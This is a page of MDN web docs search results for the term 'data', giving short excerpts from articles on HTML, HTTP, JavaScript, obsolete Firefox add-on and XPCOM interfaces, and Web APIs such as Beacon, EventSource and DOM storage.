... a poster image is defined for the video, and the preload attribute is set to metadata, which informs the browser that it should initially only attempt to load the metadata from the video file rather than the entire video file.
... this provides the player with data such as video duration and format.
...And 6 more matches
Media events - Developer guides
canplay sent when enough data is available that the media can be played, at least for a couple of frames.
... this corresponds to the have_future_data readystate.
... canplaythrough sent when the readystate changes to have_enough_data, indicating that the entire media can be played without interruption, assuming the download rate remains at least at the current level.
...And 6 more matches
<button>: The Button element - HTML: Hypertext Markup Language
WebHTMLElementbutton
formenctype html5 if the button is a submit button (it's inside/associated with a <form> and doesn't have type="button"), specifies how to encode the form data that is submitted.
... multipart/form-data: use to submit <input> elements with their type attributes set to file.
...possible values: post: the data from the form are included in the body of the http request when sent to the server.
...And 6 more matches
<input type="month"> - HTML: Hypertext Markup Language
WebHTMLElementinputmonth
h were you born in?</label> <input id="bday-month" type="month" name="bday-month" value="2017-06"> var monthcontrol = document.queryselector('input[type="month"]'); monthcontrol.value = '1978-06'; additional attributes in addition to the attributes common to <input> elements, month inputs offer the following attributes: attribute description list the id of the <datalist> element that contains the optional pre-defined autocomplete options max the latest year and month to accept as a valid input min the earliest year and month to accept as a valid input readonly a boolean which, if present, indicates that the input's value can't be edited step a stepping interval to use when incrementing and decrementing the valu...
...e of the input field list the values of the list attribute is the id of a <datalist> element located in the same document.
... the <datalist> provides a list of predefined values to suggest to the user for this input.
...And 6 more matches
<object> - HTML: Hypertext Markup Language
WebHTMLElementobject
it can be used together with, or in place of, the data attribute.
... codebasehtml 4 onlyobsolete since html5 the base path used to resolve relative uris specified by classid, data, or archive.
... codetypehtml 4 onlyobsolete since html5 the content type of the data specified by classid.
...And 6 more matches
Global attributes - HTML: Hypertext Markup Language
vent handler attributes: onabort, onautocomplete, onautocompleteerror, onblur, oncancel, oncanplay, oncanplaythrough, onchange, onclick, onclose, oncontextmenu, oncuechange, ondblclick, ondrag, ondragend, ondragenter, ondragexit, ondragleave, ondragover, ondragstart, ondrop, ondurationchange, onemptied, onended, onerror, onfocus, oninput, oninvalid, onkeydown, onkeypress, onkeyup, onload, onloadeddata, onloadedmetadata, onloadstart, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onpause, onplay, onplaying, onprogress, onratechange, onreset, onresize, onscroll, onseeked, onseeking, onselect, onshow, onsort, onstalled, onsubmit, onsuspend, ontimeupdate, ontoggle, onvolumechange, onwaiting.
... data-* forms a class of attributes, called custom data attributes, that allow proprietary information to be exchanged between the html and its dom representation that may be used by scripts.
... all such custom data are available via the htmlelement interface of the element the attribute is set on.
...And 6 more matches
Microformats - HTML: Hypertext Markup Language
summary microformats (sometimes abbreviated μf) are standards used to embed semantics & structured data in html, and provide an api to be used by search engines, aggregators, and other tools.
...the properties are carried in class attributes that can be added to any html element, while the data values re-use html element content and semantic attributes.
... microformats2 is an update to microformats that provides a simpler way of annotating html structured syntax & vocabularies than previous approaches of using rdfa and microdata which require learning new attributes.
...And 6 more matches
Evolution of HTTP - HTTP
request (http/1.0 is appended to the get line) a status code line is also sent at the beginning of the response, allowing the browser itself to understand the success or failure of the request and to adapt its behavior in consequence (like in updating or using its local cache in a specific way) the notion of http headers has been introduced, both for the requests and the responses, allowing metadata to be transmitted and making the protocol extremely flexible and extensible.
... during the same time, the need for an encrypted transport layer raised: the web left the relative trustiness of a mostly academic network, to a jungle where advertisers, random individuals or criminals compete to get as much private information about people, try to impersonate them or even to replace data transmitted by altered ones.
...this allowed any web application to provide an api to allow retrieval and modification of its data without having to update the browsers or the servers: all what is needed was embedded in the files served by the web sites through standard http/1.1.
...And 6 more matches
Index - HTTP
WebHTTPHeadersIndex
20 clear-site-data http, http header, reference, header the clear-site-data header clears browsing data (cookies, storage, cache) associated with the requesting website.
... it allows web developers to have more control over the data stored locally by a browser for their origins.
... 22 content-disposition http, reference, header in a multipart/form-data body, the http content-disposition general header is a header that can be used on the subpart of a multipart body to give information about the field it applies to.
...And 6 more matches
HTTP headers - HTTP
WebHTTPHeaders
headers can be grouped according to their contexts: general headers apply to both requests and responses, but with no relation to the data transmitted in the body.
... clear-site-data clears browsing data (e.g.
... early-data indicates that the request has been conveyed in early data.
...And 6 more matches
Grammar and types - JavaScript
« previousnext » this chapter discusses javascript's basic grammar, variable declarations, data types and literals.
... const my_array = ['html','css']; my_array.push('javascript'); console.log(my_array); //logs ['html','css','javascript']; data structures and types data types the latest ecmascript standard defines eight data types: seven data types that are primitives: boolean.
...a data type whose instances are unique and immutable.
...And 6 more matches
Object.defineProperty() - JavaScript
property descriptors present in objects come in two main flavors: data descriptors and accessor descriptors.
... a data descriptor is a property that has a value, which may or may not be writable.
... both data and accessor descriptors are objects.
...And 6 more matches
Privacy, permissions, and information security
whenever working with data, always stop and think: is there any way this can be used to even through many steps identify a specific person?
...everyone has some idea what it means to keep something private, but when talking about the privacy of data, it becomes murky.
... fundamentally, privacy of your data on the internet is about ensuring that information that has personal implications is kept out of the hands of unauthorized persons or organizations, regardless of how it's obtained.
...And 6 more matches
Transport Layer Security - Web security
applications that use tls can choose their security parameters, which can have a substantial impact on the security and reliability of data.
... http over tls tls provides three primary services that help ensure the safety and security of data exchanged with it: authentication authentication lets each party to the communication verify that the other party is who they claim to be.
... encryption data is encrypted while being transmitted between the user agent and the server, in order to prevent it from being read and interpreted by unauthorized parties.
...And 6 more matches
Understanding WebAssembly text format - WebAssembly
dule (global $g (import "js" "global") (mut i32)) (func (export "getglobal") (result i32) (global.get $g)) (func (export "incglobal") (global.set $g (i32.add (global.get $g) (i32.const 1)))) ) this looks similar to what we've seen before, except that we specify a global value using the keyword global, and we also specify the keyword mut along with the value's datatype if we want it to be mutable.
...to deal with strings and other more complex data types, webassembly provides memory (although we also have reference types in newer implementation of webassembly).
... in a normal compiled c program, you’d call a function to allocate some memory for the string, but since we’re just writing our own assembly here and we own the entire linear memory, we can just write the string contents into global memory using a data section.
...And 6 more matches
url - Archive of obsolete content
dataurl(uri) the dataurl constructor creates an object that represents a data: url, verifying that the provided string is a valid data: url in the process.
... parameters uri : string a string to be parsed as data url.
...for example: var url = require("sdk/url").url("https://developer.mozilla.org/add-ons?example=true&visible=yes#top"); console.log(url.search); // ?example=true&visible=yes dataurl methods tostring() returns a string representation of the data url.
...And 5 more matches
ui/sidebar - Archive of obsolete content
unlike modules such as panel, the content must be local, typically loaded from the add-on's data directory via a url constructed using self.data.url(): var sidebar = require("sdk/ui/sidebar").sidebar({ id: 'my-sidebar', title: 'my sidebar', url: require("sdk/self").data.url("sidebar.html") }); from firefox 34, you can use "./sidebar.html" as an alias for self.data.url("sidebar.html").
...on attach, "main.js" starts listening to the ping message, and responds with a pong: var sidebar = require("sdk/ui/sidebar").sidebar({ id: 'my-sidebar', title: 'my sidebar', url: require("sdk/self").data.url("sidebar.html"), onattach: function (worker) { worker.port.on("ping", function() { console.log("add-on script got the message"); worker.port.emit("pong"); }); } }); try running the add-on, and showing the sidebar using the "view->sidebar->my sidebar" menu item.
...on attach, "main.js" sends the ping message, and starts listening for the pong: var sidebar = require("sdk/ui/sidebar").sidebar({ id: 'my-sidebar', title: 'my sidebar', url: require("sdk/self").data.url("sidebar.html"), onready: function (worker) { worker.port.emit("ping"); worker.port.on("pong", function() { console.log("add-on script got the reply"); }); } }); try running the add-on, and showing the sidebar using the "view->sidebar->my sidebar" menu item.
...And 5 more matches
package.json - Archive of obsolete content
the package.json file contains manifest data for your add-on, providing not only descriptive information about the add-on for presentation in the add-ons manager, but other metadata required of add-ons.
... others, such as lib, permissions, and preferences, represent instructions to the jpm tool itself to generate and include particular code and data structures in your add-on.
...it looks like this (assuming the add-on's directory is "my-addon"): { "name": "my-addon", "title": "my-addon", "id": "jid1-1fergv45e4f4f@jetpack", "description": "a basic add-on", "author": "", "license": "mpl-2.0", "version": "0.1" } if you are using the new jpm tool, you can easily access manifest data from package.json by requiring it like any other module: var title = require("./package.json").title; key reference package.json may contain the following keys: author the name of the package's original author; this could be the name of a person or a company.
...And 5 more matches
Creating annotations - Archive of obsolete content
t.stoppropagation(); event.preventdefault(); self.port.emit('show', [ document.location.tostring(), $(ancestor).attr("id"), $(matchedelement).text() ] ); }); }); conversely, the add-on resets the matched element on mouseout: $('*').mouseout(function() { resetmatchedelement(); }); save this code in a new file called selector.js in your add-on's data directory.
... because this code uses jquery, you'll need to download that as well, and save it in data.
... updating main.js go back to main.js and add the code to create the selector into the main function: var selector = pagemod.pagemod({ include: ['*'], contentscriptwhen: 'ready', contentscriptfile: [data.url('jquery-1.4.2.min.js'), data.url('selector.js')], onattach: function(worker) { worker.postmessage(annotatorison); selectors.push(worker); worker.port.on('show', function(data) { console.log(data); }); worker.on('detach', function () { detachworker(this, selectors); }); } }); make sure the name you use to load jquery matches the name of the jquery version you downloaded.
...And 5 more matches
Finding window handles - Archive of obsolete content
once you have a docshell, queryinterface it into nsibasewindow, call getmainwidget on result, and then call getnativedata(ns_native_window).
... like this hwnd gethwnd(nsibasewindow *window) { nscomptr< nsiwidget > widget; window->getmainwidget(getter_addrefs(widget)); if (widget) return (hwnd) widget->getnativedata(ns_native_window); } yet another way to find a window handle (parent window handle) this method is for people who want to get the top level window hwnd from the window object in javascript.
...mozilla developers have put the reference to the gtkwindow* into the gdkwindow* "user data", as a back reference.
...And 5 more matches
An Interview With Douglas Bowman of Wired News - Archive of obsolete content
it's true that our stories exist in a database, separated from page templates and peripheral formatting.
...we've got them in spades, and they're embedded in all past stories of the database.
... fortunately, our chief engineer was able to write some code that scraped through the database looking for errors like this which would invalidate our markup.
...And 5 more matches
Index of archived content - Archive of obsolete content
espace js xpcom javascript debugger service javascript timers javascript daemons management label and description lookupnamespaceuri lookupprefix miscellaneous modules on page load page loading post data to window preferences progress listeners queryselector rosetta running applications svg animation svg general scrollbar sidebar stringview tabbox toolbar tree uri parsing view source for xul applications win...
... gecko coding help wanted http class overview hacking wiki help viewer creating a help content pack helper apps (and a bit of save as) hidden prefs how to write and land nanojit patches io guide/directory keys introducing the audio api extension isp data java in firefox extensions javascript os.shared javascript crypto crmf request object generatecrmfrequest() importusercertificates popchallengeresponse jetpack basics content ...
... ui selection jspage statusbar statusbar litmus tests mac os x build prerequisites/fink makefile.mozextension.2 message summary database metro browser chrome tests microsummary topics microsummary xml grammar reference migrate apps from internet explorer to mozilla modularization techniques monitoring downloads mozilla application framework mozilla application framework in d...
...And 5 more matches
Example Sticky Notes - Archive of obsolete content
acity="0.6" stroke="#ffffff" stroke-width="1px"> <svg:circle cx="25px" cy="12px" r="12" fill="#ff0000" transform="translate(0,0)"/> <svg:circle cx="25px" cy="12px" r="12" fill="#00ff00" transform="translate(7,12)"/> <svg:circle cx="25px" cy="12px" r="12" fill="#0000ff" transform="translate(-7,12)"/> </svg:g> </svg:svg> <children/> </content> <implementation> <!-- here and futher cdata wrappers around javascript code are not mandatory but recommended.
... it also speeds up the parsing as the engine doesn't go through cdata sections but simply skip on them.
... --> <constructor><![cdata[ /** * the code below will be called one time only after * the binding is successfully prepared and bound.
...And 5 more matches
Writing to Files - Archive of obsolete content
other documentation on files and i/o not using the unavailable nsiscriptableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes.
...creating and appending to files a number of flags control whether a new file is created when writing or whether data is appended to an existing file.
... append if used, always write data to the end of the file.
...And 5 more matches
Bindings - Archive of obsolete content
to do this all we need to do is add the necessary data to the rdf datasource and add another <triple> element to the template's statements.
...the ?photo variable is filled in with the known value and then the arc is looked up the datasource, filling in the value for the ?description variable.
...let assume though, that we are only going to add a description to one of the photos in the datasource; the other two photos will not have a description.
...And 5 more matches
Building Hierarchical Trees - Archive of obsolete content
with an rdf datasource, this would usually be an rdf container such as a seq and the tree would display its children.
... for an xml datasource, the tree might display a node's children as the children in the tree, making the tree display a hierarchy similar to that in the xml document.
...as the rows are not containers, the tree builder does not recurse to find additional data.
...And 5 more matches
RDF Query Syntax - Archive of obsolete content
<vbox datasources="http://www.xulplanet.com/ds/sample.rdf" ref="http://www.xulplanet.com/rdf/a"> <template> <query> <content uri="?start"/> <triple subject="?start" predicate="http://www.xulplanet.com/rdf/relateditem" object="?relateditem"/> </query> <rule> ...
...it determines which direction to use by examining which data is known and which data is not known yet.
... recall the data in the potential results set: (?start = http://www.xulplanet.com/rdf/a) this was the seed data created by the content statement.
...And 5 more matches
Rule Compilation - Archive of obsolete content
a query contains instructions for how to retrieve a set of data from the datasource.
... the exact syntax is dependent on the type of datasource used in the template.
... for instance, for an sqlite datasource, an sql statement is used as the query.
...And 5 more matches
Extentsions FAQ - Archive of obsolete content
use wm_copydata how to creating an extension that can replace html code on a specific page that does not use greasemonkey?
... are there any built in libraries that can be used to encrypt data?
... you shouldn't store data there, so there's nothing to backup.
...And 5 more matches
NPN_Write - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary pushes data into a stream produced by the plug-in and consumed by the browser.
... stream pointer to the stream into which to push the data.
... len length in bytes of the data specified by buf.
...And 5 more matches
NPP_New - Archive of obsolete content
syntax #include <npapi.h> nperror npp_new(npmimetype plugintype, npp instance, uint16 mode, int16 argc, char *argn[], char *argv[], npsaveddata *saved); parameters the function has the following parameters: plugintype pointer to the mime type for new plug-in instance.
... instance contains instance-specific private data for the plug-in and the browser.
... this data is stored in instance->pdata.
...And 5 more matches
Writing JavaScript for XHTML - Archive of obsolete content
the code looks something like this: <script type="text/javascript"> //<!-- window.alert("hello world!"); //--> </script> solution: the cdata trick this problem usually arises, when inline scripts are included in comments.
...if your code contains either of these, you can work around this with cdata sections: <script type="text/javascript"> <![cdata[ // is the variable a non-negative integer less than 10?
... if (variable < 10 && variable >= 0) action(); ]]> </script> note that the cdata section is only necessary because of the < in the code; otherwise you could have ignored it.
...And 5 more matches
XForms Custom Controls - Archive of obsolete content
custom data types - existing xforms controls are not able to work properly with your data type advanced xforms controls - you need your controls to be able to do more things than traditional xforms controls can do new host language - you'd like to support xforms in host languages other than xhtml or xul custom presentation the mozilla xforms extension cannot anticipate all of the possible use cases that wil...
...xf|select1[appearance="compact"] { -moz-binding: url('chrome://xforms/content/select-xhtml.xml#xformswidget-select1-compact'); } the mediatype attribute can be used by the form author to align the type of presentation with the type of data that the bound instance node contains.
...xf|output[mediatype^="image"] { -moz-binding: url('chrome://xforms/content/xforms-xhtml.xml#xformswidget-output-mediatype-anyuri'); } custom data types if you define a new schema data type or you use a built-in data type and find the current xforms control for this type to be insufficient, then you should write a new custom control.
...And 5 more matches
Video and Audio APIs - Learn web development
you'll see a number of features; the html is dominated by the video player and its controls: <div class="player"> <video controls> <source src="video/sintel-short.mp4" type="video/mp4"> <source src="video/sintel-short.webm" type="video/webm"> <!-- fallback content here --> </video> <div class="controls"> <button class="play" data-icon="p" aria-label="play pause toggle"></button> <button class="stop" data-icon="s" aria-label="stop"></button> <div class="timer"> <div></div> <span aria-label="timer">00:00</span> </div> <button class="rwd" data-icon="b" aria-label="rewind"></button> <button class="fwd" data-icon="f" aria-label="fast forward"></button> </div> </div> the whole player is wra...
... each <button> has a class name, a data-icon attribute for defining what icon should be shown on each button (we'll show how this works in the below section), and an aria-label attribute to provide an understandable description of each button, since we're not providing a human-readable label inside the tags.
...ont.eot'); src: url('fonts/heydings_controls-webfont.eot?#iefix') format('embedded-opentype'), url('fonts/heydings_controls-webfont.woff') format('woff'), url('fonts/heydings_controls-webfont.ttf') format('truetype'); font-weight: normal; font-style: normal; } button:before { font-family: heydingscontrolsregular; font-size: 20px; position: relative; content: attr(data-icon); color: #aaa; text-shadow: 1px 1px 0px black; } first of all, at the top of the css we use a @font-face block to import a custom web font.
...And 5 more matches
Basic math in JavaScript — numbers and operators - Learn web development
this is especially true when we are learning to program javascript (or any other language for that matter) — so much of what we do relies on processing numerical data, calculating new values, and so on, that you won't be surprised to learn that javascript has a full-featured set of math functions available.
... the second bit of good news is that unlike some other programming languages, javascript only has one data type for numbers, both integers and decimals — you guessed it, number.
... now let's check that both our original variables are of the same datatype.
...And 5 more matches
Object-oriented JavaScript for beginners - Learn web development
objects can contain related data and code, which represent information about the thing you are trying to model, and functionality or behavior that you want it to have.
... object data (and often, functions too) can be stored neatly (the official word is encapsulated) inside an object package (which can be given a specific name to refer to, which is sometimes called a namespace), making it easy to structure and access; objects are also commonly used as data stores that can be easily sent across the network.
... to start this off, we could return to our person object type from our first objects article, which defines the generic data and functionality of a person.
...And 5 more matches
Working with Svelte stores - Learn web development
stores are global global data repositories that hold values.
... repl to code along with us using the repl, start at https://svelte.dev/repl/d1fa84a5a4494366b179c87395940039?version=3.23.2 dealing with our app state we have already seen how our components can communicate with each other using props, two-way data binding, and events.
... moreover, when your app becomes complicated and your component hierarchy gets complex, it might become too difficult for components to relay data between each other.
...And 5 more matches
Vue conditional rendering: editing existing todos - Learn web development
vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure.
...visually-hidden">editing {{label}}</span> </button> <button type="submit" class="btn btn__primary"> save <span class="visually-hidden">edit for {{label}}</span> </button> </div> </form> </template> <script> export default { props: { label: { type: string, required: true }, id: { type: string, required: true } }, data() { return { newlabel: this.label }; }, methods: { onsubmit() { if (this.newlabel && this.newlabel !== this.label) { this.$emit("item-edited", this.newlabel); } }, oncancel() { this.$emit("edit-cancelled"); } } }; </script> <style scoped> .edit-label { font-family: arial, sans-serif; -webkit-font-smoothing: antialiased; -moz-osx-...
...to do that, we'll need to first define it inside our data() property.
...And 5 more matches
Memory reporting
traversal-based reporters traverse one or more data structures and measure the size of all the allocated blocks in the data structure.
... a simple example imagine a simple string class with the following data fields: class mystring { private: char *mbuffer; // heap-allocated size_t mlen; // ...
... mystring *gmystring; class mystringreporter moz_final : public nsimemoryreporter { moz_define_malloc_size_of(mallocsizeof) public: ns_decl_isupports ns_method collectreports(nsihandlereportcallback* ahandlereport, nsisupports* adata) { // btw: if gmystring wasn't a pointer, you'd use // |gmystring.sizeofexcludingthis(mallocsizeof)| instead.
...And 5 more matches
L20n Javascript API
ctx.localize(['hello', 'new'], function(l10n) { var node = document.queryselector('[data-l10n-id=hello]'); node.textcontent = l10n.entities.hello.value; node.classlist.remove('hidden'); }); ctx.registerlocales(defaultlocale: string?, availablelocales: array<string>?) register the default locale of the context instance, as well as all other locales available to the context instance before the language negotiation.
... ctx.updatedata(ctxdata: object) update the context data which will be available to all entities in the context.
... the ctxdata is an object which extends the context data per key and per level of hierarchy.
...And 5 more matches
PR_NewThreadPrivateIndex
returns a new index for a per-thread private data table and optionally associates a destructor with the data that will be assigned to the index.
... destructor specifies a destructor function prthreadprivatedtor for the private data associated with the index.
... description if pr_newthreadprivateindex is successful, every thread in the same process is capable of associating private data with the new index.
...And 5 more matches
PR_SetThreadPrivate
sets per-thread private data.
... syntax #include <prthread.h> prstatus pr_setthreadprivate(pruintn index, void *priv); parameters pr_setthreadprivate has the following parameters: index an index into the per-thread private data table.
... priv the per-thread private data, or more likely, a pointer to the data.
...And 5 more matches
JS_THREADSAFE
sharing data among threads "data can be marshaled across the process boundary through a process known as smuggling." --mr.
... instead, data must be copied when it is sent from one thread to another.
... use js_writestructuredclone to transform data into a flat array of bytes that can be safely written to disk, sent to another process or even another machine, or just passed to another thread.
...And 5 more matches
Using the Places history service
please see history service design for information on the design of the history service, and the places database for a higher-level design overview of places.
... nsiautocompletesearch: url-bar autocomplete from history from 1.9.1 (firefox3.1) on, don't use any places service on (or after) quit-application has been notified, since the database connection will be closed to allow the last sync, and changes will most likely be lost.
... if database initialization completes correctly a "places-init-complete" topic is notified, at this point is possible to look for database status: var databasestatus = historyservice.databasestatus; switch (databasestatus) { case historyservice.database_status_ok: // database did already exist and has been correctly initialized.
...And 5 more matches
imgIEncoder
1.0 66 introduced gecko 1.8 inherits from: nsiasyncinputstream last changed in gecko 1.9 (firefox 3) method overview void addimageframe( [array, size_is(length), const] in pruint8 data, in unsigned long length, in pruint32 width, in pruint32 height, in pruint32 stride, in pruint32 frameformat, in astring frameoptions); void encodeclipboardimage(in nsiclipboardimage aclipboardimage, out nsifile aimagefile); obsolete since gecko 1.9 void endimageencode(); void initfromdata([array, size_is(length), const] in pruint8 data, in unsigned long length, in pruint32 width, in pruint32 height, in pruint32 stride, in pruint32 inputformat, in astring outputoptions); vo...
... methods addimageframe() void addimageframe( [array, size_is(length), const] in pruint8 data, in unsigned long length, in pruint32 width, in pruint32 height, in pruint32 stride, in pruint32 frameformat, in astring frameoptions ); parameters data list of bytes in the format specified by inputformat.
...normally (width*3) or (width*4), depending on your input format, but some data uses padding at the end of each row, which would be extra.
...And 5 more matches
nsIAuthModule
unwrap() this method is used to unpack, decrypt, and verify the checksums on data returned by a server when security layers are in use.
... void unwrap( [const] in voidptr aintoken, in unsigned long aintokenlength, out voidptr aouttoken, out unsigned long aouttokenlength ); parameters aintoken a buffer containing the data received from the server.
...aouttoken a buffer containing the plaintext data from the server.
...And 5 more matches
nsIDBChangeListener
the nsidbchangelistener interface is used by components wanting to receive notification when the current database changes somehow.
...igator) {}, onevent: function(adb, aevent) {}, queryinterface: function(aiid) { if (!aiid.equals(components.interfaces.nsidbchangelistener) && !aiid.equals(components.interfaces.nsisupports)) throw components.results.ns_error_no_interface; return this; } }; and to attach it in thunderbird, we must call addlistener on a nsidbchangeannouncer, typically through a nsimsgdatabase.
... there are a couple of ways to access the message database: if you have a nsimsgfolder, you can do this like so: somefolder.msgdatabase.addlistener(mylistener); alternately, you can access the message database through the nsimsgdbview like so: gfolderdisplay.view.dbview.db.addlistener(mylistener); method overview void onhdrflagschanged(in nsimsgdbhdr ahdrchanged, in unsigned long aoldflags, in unsigned long anewflags, in nsidbchangelistener ainstigator); void onhdrdeleted(in nsimsgdbhdr ahdrchanged, in nsmsgkey aparentkey, in long aflags, in nsidbchangelistener ainstigator); void onhdradded(in nsimsgdbhdr ahdrchanged, in nsmsgkey aparentkey, in long aflags, in nsidbchangelistener ainstigator); void onparentchanged(in nsmsgkey akeychanged, in nsmsgke...
...And 5 more matches
nsIDOMStorage
method overview void clear(); domstring getitem(in domstring key); domstring key(in unsigned long index); void removeitem(in domstring key); void setitem(in domstring key, in domstring data); attributes attribute type description length unsigned long the number of keys stored in the session store.
...getitem() returns from session storage the data corresponding to the specified key.
... domstring getitem( in domstring key ); parameters key the key for which data should be returned.
...And 5 more matches
nsIDOMStorage2
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports method overview void clear(); domstring getitem(in domstring key); domstring key(in unsigned long index); void removeitem(in domstring key); void setitem(in domstring key, in domstring data); attributes attribute type description length unsigned long the number of keys stored in local storage.
...getitem() returns from local storage the data corresponding to the specified key.
... domstring getitem( in domstring key ); parameters key the key for which data should be returned.
...And 5 more matches
nsIDragSession
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void getdata( in nsitransferable atransferable, in unsigned long aitemindex ); boolean isdataflavorsupported( in string adataflavor ); attributes attribute type description candrop boolean set the current state of the drag, whether it can be dropped or not.
... datatransfer nsidomdatatransfer the data transfer object for the current drag operation.
... methods getdata() gets data from a drag and drop operation.
...And 5 more matches
nsIInputStream
xpcom/io/nsiinputstream.idlscriptable this interface represents a readable stream of data.
...moreover, since a stream may make available more than 2^32 bytes of data, this method is incapable of expressing the entire size of the underlying data source.
... native code only!read this method copies data from the stream into a buffer.
...And 5 more matches
nsIRequest
inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) for example nsichannel typically passes itself as the nsirequest argument to the nsistreamlistener on each onstartrequest, ondataavaliable, and onstoprequest invocation.
... the following flags control the flow of data into the cache.
... the following flags control what happens when the cache contains data that could perhaps satisfy this request.
...And 5 more matches
nsIStructuredCloneContainer
you can also get a base-64-encoded string containing a copy of the container's serialized data, using getdataasbase64().
... method overview nsivariant deserializetovariant(); astring getdataasbase64(); void initfrombase64(in astring adata,in unsigned long aformatversion); void initfromvariant(in nsivariant adata); attributes attribute type description formatversion unsigned long get the version of the structured clone algorithm which was used to generate this container's serialized buffer.
... serializednbytes unsigned long long get the size in bytes of this container's serialized data.
...And 5 more matches
nsITraceableChannel
to use this interface is as follows: register for the "http-on-examine-response" notification to track all http responses; skip redirects (responsestatus = 3xx on nsihttpchannel), since otherwise you may end up with two listeners registered for a channel; qi the channel passed as the "subject" to your observer to nsitraceablechannel, and replace the default nsistreamlistener (that passes the data to the original requester - e.g.
... after that your nsistreamlistener implementation will get the response data and will be able to pass the data on to the original nsistreamlistener (possibly modifying it).
... ondataavailable: data is arriving on the http channel.
...And 5 more matches
nsITreeView
inherits from: nsisupports last changed in gecko 22 (firefox 22 / thunderbird 22 / seamonkey 2.19) implementing a nsitreeview in lieu of dom methods for tree creation can improve performance dramatically, and removes the need to make changes to the tree manually when changes to the database occur.
... method overview boolean candrop(in long index, in long orientation, in nsidomdatatransfer datatransfer); boolean candropbeforeafter(in long index, in boolean before); obsolete since gecko 1.8 boolean candropon(in long index); obsolete since gecko 1.8 void cyclecell(in long row, in nsitreecolumn col); void cycleheader(in nsitreecolumn col); void drop(in long row, in long orientation, in nsidomdatatransfer datatransfer); astring getcellproperties(in long row, in nsitreecolumn col, in nsisupportsarray properties obsolete since gecko 22); astring getcelltext(in long row, in nsitreecolumn col); astring getcellvalue(in long row, in nsitreeco...
... boolean candrop( in long index, in long orientation, in nsidomdatatransfer datatransfer ); parameters index the index of the row.
...And 5 more matches
Creating a gloda message query
this content covers features introduced in thunderbird 3 this page describes how to programmatically create a message query using gloda, thunderbird's global database.
... create a collection from the query your listener is notified as messages are added to the collection as the database query completes.
... let mylistener = { /* called when new items are returned by the database query or freshly indexed */ onitemsadded: function mylistener_onitemsadded(aitems, acollection) { }, /* called when items that are already in our collection get re-indexed */ onitemsmodified: function mylistener_onitemsmodified(aitems, acollection) { }, /* called when items that are in our collection are purged from the system */ onitemsremoved: function mylistener_onitemsremoved(aitems, acollection) { }, /* called when our database query completes */ onquerycompleted: function mylistener_onquerycompleted(acollection) { } }; let collection = query.getcollection(mylistener); message attributes look at t...
...And 5 more matches
WebIDL bindings
the webidl bindings are generated at build time based on two things: the actual webidl file and a configuration file that lists some metadata about how the webidl should be reflected into gecko-internal code.
... (e.g., if (!arg.isanymemberpresent()) return; // nothing to do) member.value() - getting the actual data/value of a member that was passed.
...tinit) arg); would correspond to these c++ function declarations: void passunion(const objectorlong& aarg); void receiveunion(owningobjectobjectorlong& aarg); void passsequenceofunions(const sequence<owningobjectorlong>& aarg); void passotherunion(const htmldivelementorarraybufferoreventinit& aarg); union structs expose accessors to test whether they're of a given type and to get hold of the data of that type.
...And 5 more matches
AudioBuffer - Web APIs
the audiobuffer interface represents a short audio asset residing in memory, created from an audio file using the audiocontext.decodeaudiodata() method, or from raw data using audiocontext.createbuffer().
...the buffer contains data in the following format: non-interleaved ieee754 32-bit linear pcm with a nominal range between -1 and +1, that is, 32bits floating point buffer, with each samples between -1.0 and 1.0.
... properties audiobuffer.samplerate read only returns a float representing the sample rate, in samples per second, of the pcm data stored in the buffer.
...And 5 more matches
Using the Beacon API - Web APIs
the method takes two arguments: the url and the data to send.
... the data argument is optional and its type may be an arraybufferview, blob, domstring, or formdata.
... window.onload = window.onunload = function analytics(event) { if (!navigator.sendbeacon) return; var url = "https://example.com/analytics"; // create the data to send var data = "state=" + event.type + "&location=" + location.href; // send the beacon var status = navigator.sendbeacon(url, data); // log the data and result console.log("sendbeacon: url = ", url, "; data = ", data, "; status = ", status); }; the following example creates a submit handler and when that event is fired, the handler calls sendbeacon().
...And 5 more matches
BlobBuilder - Web APIs
just create a blobbuilder and append chunks of data to it by calling the append() method.
... when you're done building your blob, call getblob() to retrieve a blob containing the data you sent into the blob builder.
... method overview void append(in arraybuffer data); void append(in blob data); void append(in string data, [optional] in string endings); blob getblob([optional] in domstring contenttype); file getfile(in domstring name, [optional] in domstring contenttype); methods append() appends the contents of the specified javascript object to the blob being built.
...And 5 more matches
Console.table() - Web APIs
WebAPIConsoletable
displays tabular data as a table.
... this function takes one mandatory argument data, which must be an array or an object, and one additional optional parameter columns.
... it logs data as a table.
...And 5 more matches
Detecting device orientation - Web APIs
increasingly, web-enabled devices are capable of determining their orientation; that is, they can report data indicating changes to their orientation with relation to the pull of gravity.
...by receiving and processing the data reported by these orientation events, it's possible to interactively respond to rotation and elevation changes caused by the user moving the device.
... processing orientation events all you need to do in order to begin receiving orientation change is to listen to the deviceorientation event: note: gyronorm.js is a polyfill for normalizing the accelerometer and gyroscope data on mobile devices.
...And 5 more matches
DirectoryReaderSync - Web APIs
but directoryentrysync (as well as fileentrysync) is not a data type that you can pass between a calling app and web worker thread.
... example in the following code snippet from html5rocks, we create web workers and pass data from it to the main app.
... window.resolvelocalfilesystemurl = window.resolvelocalfilesystemurl || window.webkitresolvelocalfilesystemurl; // create web workers var worker = new worker('worker.js'); worker.onmessage = function(e) { var urls = e.data.entries; urls.foreach(function(url, i) { window.resolvelocalfilesystemurl(url, function(fileentry) { // print out file's name.
...And 5 more matches
EventSource - Web APIs
unlike websockets, server-sent events are unidirectional; that is, data messages are delivered in one direction, from the server to the client (such as a user's web browser).
... that makes them an excellent choice when there's no need to send data from the client to the server in message form.
... for example, eventsource is a useful approach for handling things like social media status updates, news feeds, or delivering data into a client-side storage mechanism like indexeddb or web storage.
...And 5 more matches
Using the Frame Timing API - Web APIs
the performanceframetiming interface provides frame timing data about the browser's event loop.
... an application can register a performanceobserver for "frame" performance entry types and the observer will have data about the duration of each frame event.
... this data can be used to help identify areas that take too long to provide a good user experience.
...And 5 more matches
IDBCursor.primaryKey - Web APIs
the cursor's primary key can be any data type.
... syntax var value = cursor.primarykey; value a value of any data type.
